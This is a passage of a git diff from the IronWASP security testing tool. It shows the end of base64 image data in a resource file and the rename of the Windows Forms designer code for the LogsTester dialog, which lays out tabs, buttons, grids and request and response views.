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 + + + \ No newline at end of file diff --git a/IronWASP/LogsTester.Designer.cs b/Iron/LogsTester.Designer.cs similarity index 97% rename from IronWASP/LogsTester.Designer.cs rename to Iron/LogsTester.Designer.cs index 9a9e7d4..948a31f 100644 --- a/IronWASP/LogsTester.Designer.cs +++ b/Iron/LogsTester.Designer.cs @@ -1,1959 +1,1959 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class LogsTester - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(LogsTester)); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); - System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.SelectTestTab = new System.Windows.Forms.TabPage(); - this.textBox7 = new System.Windows.Forms.TextBox(); - this.textBox6 = new System.Windows.Forms.TextBox(); - this.textBox5 = new System.Windows.Forms.TextBox(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.RunPassivePluginsRB = new System.Windows.Forms.RadioButton(); - this.ParameterDeleteTestRB = new System.Windows.Forms.RadioButton(); - this.ParameterEditTestRB = new System.Windows.Forms.RadioButton(); - this.ParameterAddTestRB = new System.Windows.Forms.RadioButton(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.StepOneNextBtn = new System.Windows.Forms.Button(); - this.ConfigureTab = new System.Windows.Forms.TabPage(); - this.Step1StatusTB = new System.Windows.Forms.TextBox(); - this.ConfigureTestTabs = new System.Windows.Forms.TabControl(); - this.ConfigureParameterTab = new System.Windows.Forms.TabPage(); - this.SessionPluginsCombo = new System.Windows.Forms.ComboBox(); - this.LaunchSessionPluginCreationAssistantLL = new System.Windows.Forms.LinkLabel(); - this.RefreshSessListLL = new System.Windows.Forms.LinkLabel(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.label11 = new System.Windows.Forms.Label(); - this.ShouldResentOriginalRequestCB = new System.Windows.Forms.CheckBox(); - this.textBox11 = new System.Windows.Forms.TextBox(); - this.ParameterValueTB = new System.Windows.Forms.TextBox(); - this.ParameterValueTBLbl = new System.Windows.Forms.Label(); - this.ParameterActionLbl = new System.Windows.Forms.Label(); - this.ParameterNameTB = new System.Windows.Forms.TextBox(); - this.ParameterNameTBLbl = new System.Windows.Forms.Label(); - this.ParameterTypeCombo = new System.Windows.Forms.ComboBox(); - this.ParameterTypeComboLbl = new System.Windows.Forms.Label(); - this.SelectPluginsTab = new System.Windows.Forms.TabPage(); - this.PassiveScanPluginsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.SelectAllPassivePluginsCB = new System.Windows.Forms.CheckBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.StartTestBtn = new System.Windows.Forms.Button(); - this.ResultsTab = new System.Windows.Forms.TabPage(); - this.ParameterManipulationResultsStatusLbl = new System.Windows.Forms.Label(); - this.PauseBtn = new System.Windows.Forms.Button(); - this.StopBtn = new System.Windows.Forms.Button(); - this.PlayBtn = new System.Windows.Forms.Button(); - this.textBox19 = new System.Windows.Forms.TextBox(); - this.ResultsBaseTabs = new System.Windows.Forms.TabControl(); - this.ParameterManipulationResultsTab = new System.Windows.Forms.TabPage(); - this.ParameterManipulationResultsSplit = new System.Windows.Forms.SplitContainer(); - this.ParameterManipulationResultsLogGrid = new System.Windows.Forms.DataGridView(); - this.IDClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.OriginalCode = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.OriginalLengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ResentIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ResentCodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ResentLengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestCodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.TestLengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.OriginalVsResentClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ResentVsTestClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.OriginalVsTestClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ParameterManipulationLoadProgressBar = new System.Windows.Forms.ProgressBar(); - this.ParameterManipulationResultsBottomTabs = new System.Windows.Forms.TabControl(); - this.tabPage7 = new System.Windows.Forms.TabPage(); - this.LogDisplayTabs = new System.Windows.Forms.TabControl(); - this.tabPage12 = new System.Windows.Forms.TabPage(); - this.OriginalRequestView = new IronWASP.RequestView(); - this.tabPage29 = new System.Windows.Forms.TabPage(); - this.OriginalResponseView = new IronWASP.ResponseView(); - this.tabPage8 = new System.Windows.Forms.TabPage(); - this.tabControl2 = new System.Windows.Forms.TabControl(); - this.tabPage13 = new System.Windows.Forms.TabPage(); - this.ResentRequestView = new IronWASP.RequestView(); - this.tabPage14 = new System.Windows.Forms.TabPage(); - this.ResentResponseView = new IronWASP.ResponseView(); - this.tabPage3 = new System.Windows.Forms.TabPage(); - this.tabControl3 = new System.Windows.Forms.TabControl(); - this.tabPage15 = new System.Windows.Forms.TabPage(); - this.TestRequestView = new IronWASP.RequestView(); - this.tabPage16 = new System.Windows.Forms.TabPage(); - this.TestResponseView = new IronWASP.ResponseView(); - this.tabPage9 = new System.Windows.Forms.TabPage(); - this.tabControl1 = new System.Windows.Forms.TabControl(); - this.tabPage1 = new System.Windows.Forms.TabPage(); - this.OriginalVsResentRequestDRV = new IronWASP.DiffResultView(); - this.tabPage2 = new System.Windows.Forms.TabPage(); - this.OriginalVsResentResponseDRV = new IronWASP.DiffResultView(); - this.tabPage10 = new System.Windows.Forms.TabPage(); - this.tabControl4 = new System.Windows.Forms.TabControl(); - this.tabPage4 = new System.Windows.Forms.TabPage(); - this.ResentVsTestRequestDRV = new IronWASP.DiffResultView(); - this.tabPage18 = new System.Windows.Forms.TabPage(); - this.ResentVsTestResponseDRV = new IronWASP.DiffResultView(); - this.tabPage11 = new System.Windows.Forms.TabPage(); - this.tabControl5 = new System.Windows.Forms.TabControl(); - this.tabPage19 = new System.Windows.Forms.TabPage(); - this.OriginalVsTestRequestDRV = new IronWASP.DiffResultView(); - this.tabPage22 = new System.Windows.Forms.TabPage(); - this.OriginalVsTestResponseDRV = new IronWASP.DiffResultView(); - this.tabPage17 = new System.Windows.Forms.TabPage(); - this.textBox8 = new System.Windows.Forms.TextBox(); - this.PassiveChecksResultsTab = new System.Windows.Forms.TabPage(); - this.PassivePluginsTestResultsBaseSplit = new System.Windows.Forms.SplitContainer(); - this.PassivePluginsScanResultsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn5 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn6 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.PassivePluginScanResultsBottomTabs = new System.Windows.Forms.TabControl(); - this.tabPage5 = new System.Windows.Forms.TabPage(); - this.PassivePluginsTestResultsBottomSplit = new System.Windows.Forms.SplitContainer(); - this.FindingsTree = new System.Windows.Forms.TreeView(); - this.ResultsDisplayRTB = new System.Windows.Forms.RichTextBox(); - this.tabPage6 = new System.Windows.Forms.TabPage(); - this.PassivePluginLogTabs = new System.Windows.Forms.TabControl(); - this.tabPage20 = new System.Windows.Forms.TabPage(); - this.PassivePluginLogRequestView = new IronWASP.RequestView(); - this.tabPage21 = new System.Windows.Forms.TabPage(); - this.PassivePluginLogResponseView = new IronWASP.ResponseView(); - this.PassivePluginLogLoadProgressBar = new System.Windows.Forms.ProgressBar(); - this.BaseTabs.SuspendLayout(); - this.SelectTestTab.SuspendLayout(); - this.ConfigureTab.SuspendLayout(); - this.ConfigureTestTabs.SuspendLayout(); - this.ConfigureParameterTab.SuspendLayout(); - this.SelectPluginsTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.PassiveScanPluginsGrid)).BeginInit(); - this.ResultsTab.SuspendLayout(); - this.ResultsBaseTabs.SuspendLayout(); - this.ParameterManipulationResultsTab.SuspendLayout(); - this.ParameterManipulationResultsSplit.Panel1.SuspendLayout(); - this.ParameterManipulationResultsSplit.Panel2.SuspendLayout(); - this.ParameterManipulationResultsSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ParameterManipulationResultsLogGrid)).BeginInit(); - this.ParameterManipulationResultsBottomTabs.SuspendLayout(); - this.tabPage7.SuspendLayout(); - this.LogDisplayTabs.SuspendLayout(); - this.tabPage12.SuspendLayout(); - this.tabPage29.SuspendLayout(); - this.tabPage8.SuspendLayout(); - this.tabControl2.SuspendLayout(); - this.tabPage13.SuspendLayout(); - this.tabPage14.SuspendLayout(); - this.tabPage3.SuspendLayout(); - this.tabControl3.SuspendLayout(); - this.tabPage15.SuspendLayout(); - this.tabPage16.SuspendLayout(); - this.tabPage9.SuspendLayout(); - this.tabControl1.SuspendLayout(); - this.tabPage1.SuspendLayout(); - this.tabPage2.SuspendLayout(); - this.tabPage10.SuspendLayout(); - this.tabControl4.SuspendLayout(); - this.tabPage4.SuspendLayout(); - this.tabPage18.SuspendLayout(); - this.tabPage11.SuspendLayout(); - this.tabControl5.SuspendLayout(); - this.tabPage19.SuspendLayout(); - this.tabPage22.SuspendLayout(); - this.tabPage17.SuspendLayout(); - this.PassiveChecksResultsTab.SuspendLayout(); - this.PassivePluginsTestResultsBaseSplit.Panel1.SuspendLayout(); - this.PassivePluginsTestResultsBaseSplit.Panel2.SuspendLayout(); - this.PassivePluginsTestResultsBaseSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.PassivePluginsScanResultsGrid)).BeginInit(); - this.PassivePluginScanResultsBottomTabs.SuspendLayout(); - this.tabPage5.SuspendLayout(); - this.PassivePluginsTestResultsBottomSplit.Panel1.SuspendLayout(); - this.PassivePluginsTestResultsBottomSplit.Panel2.SuspendLayout(); - this.PassivePluginsTestResultsBottomSplit.SuspendLayout(); - this.tabPage6.SuspendLayout(); - this.PassivePluginLogTabs.SuspendLayout(); - this.tabPage20.SuspendLayout(); - this.tabPage21.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.BaseTabs.Controls.Add(this.SelectTestTab); - this.BaseTabs.Controls.Add(this.ConfigureTab); - this.BaseTabs.Controls.Add(this.ResultsTab); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(884, 562); - this.BaseTabs.TabIndex = 16; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - // - // SelectTestTab - // - this.SelectTestTab.BackColor = System.Drawing.Color.White; - this.SelectTestTab.Controls.Add(this.textBox7); - this.SelectTestTab.Controls.Add(this.textBox6); - this.SelectTestTab.Controls.Add(this.textBox5); - this.SelectTestTab.Controls.Add(this.textBox3); - this.SelectTestTab.Controls.Add(this.RunPassivePluginsRB); - this.SelectTestTab.Controls.Add(this.ParameterDeleteTestRB); - this.SelectTestTab.Controls.Add(this.ParameterEditTestRB); - this.SelectTestTab.Controls.Add(this.ParameterAddTestRB); - this.SelectTestTab.Controls.Add(this.Step0StatusTB); - this.SelectTestTab.Controls.Add(this.CancelBtn); - this.SelectTestTab.Controls.Add(this.textBox2); - this.SelectTestTab.Controls.Add(this.StepOneNextBtn); - this.SelectTestTab.Location = new System.Drawing.Point(4, 25); - this.SelectTestTab.Margin = new System.Windows.Forms.Padding(0); - this.SelectTestTab.Name = "SelectTestTab"; - this.SelectTestTab.Padding = new System.Windows.Forms.Padding(5); - this.SelectTestTab.Size = new System.Drawing.Size(876, 533); - this.SelectTestTab.TabIndex = 0; - this.SelectTestTab.Text = " Select Test "; - // - // textBox7 - // - this.textBox7.BackColor = System.Drawing.Color.White; - this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox7.ForeColor = System.Drawing.Color.Gray; - this.textBox7.Location = new System.Drawing.Point(41, 417); - this.textBox7.Multiline = true; - this.textBox7.Name = "textBox7"; - this.textBox7.ReadOnly = true; - this.textBox7.Size = new System.Drawing.Size(827, 40); - this.textBox7.TabIndex = 14; - this.textBox7.TabStop = false; - this.textBox7.Text = resources.GetString("textBox7.Text"); - // - // textBox6 - // - this.textBox6.BackColor = System.Drawing.Color.White; - this.textBox6.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox6.ForeColor = System.Drawing.Color.Gray; - this.textBox6.Location = new System.Drawing.Point(44, 310); - this.textBox6.Multiline = true; - this.textBox6.Name = "textBox6"; - this.textBox6.ReadOnly = true; - this.textBox6.Size = new System.Drawing.Size(827, 62); - this.textBox6.TabIndex = 13; - this.textBox6.TabStop = false; - this.textBox6.Text = resources.GetString("textBox6.Text"); - // - // textBox5 - // - this.textBox5.BackColor = System.Drawing.Color.White; - this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox5.ForeColor = System.Drawing.Color.Gray; - this.textBox5.Location = new System.Drawing.Point(46, 190); - this.textBox5.Multiline = true; - this.textBox5.Name = "textBox5"; - this.textBox5.ReadOnly = true; - this.textBox5.Size = new System.Drawing.Size(827, 70); - this.textBox5.TabIndex = 12; - this.textBox5.TabStop = false; - this.textBox5.Text = resources.GetString("textBox5.Text"); - // - // textBox3 - // - this.textBox3.BackColor = System.Drawing.Color.White; - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.ForeColor = System.Drawing.Color.Gray; - this.textBox3.Location = new System.Drawing.Point(41, 83); - this.textBox3.Multiline = true; - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(827, 62); - this.textBox3.TabIndex = 11; - this.textBox3.TabStop = false; - this.textBox3.Text = resources.GetString("textBox3.Text"); - // - // RunPassivePluginsRB - // - this.RunPassivePluginsRB.AutoSize = true; - this.RunPassivePluginsRB.Location = new System.Drawing.Point(25, 396); - this.RunPassivePluginsRB.Name = "RunPassivePluginsRB"; - this.RunPassivePluginsRB.Size = new System.Drawing.Size(227, 17); - this.RunPassivePluginsRB.TabIndex = 10; - this.RunPassivePluginsRB.TabStop = true; - this.RunPassivePluginsRB.Text = "Run Passive Plugins on Selected Sessions"; - this.RunPassivePluginsRB.UseVisualStyleBackColor = true; - // - // ParameterDeleteTestRB - // - this.ParameterDeleteTestRB.AutoSize = true; - this.ParameterDeleteTestRB.Location = new System.Drawing.Point(25, 287); - this.ParameterDeleteTestRB.Name = "ParameterDeleteTestRB"; - this.ParameterDeleteTestRB.Size = new System.Drawing.Size(170, 17); - 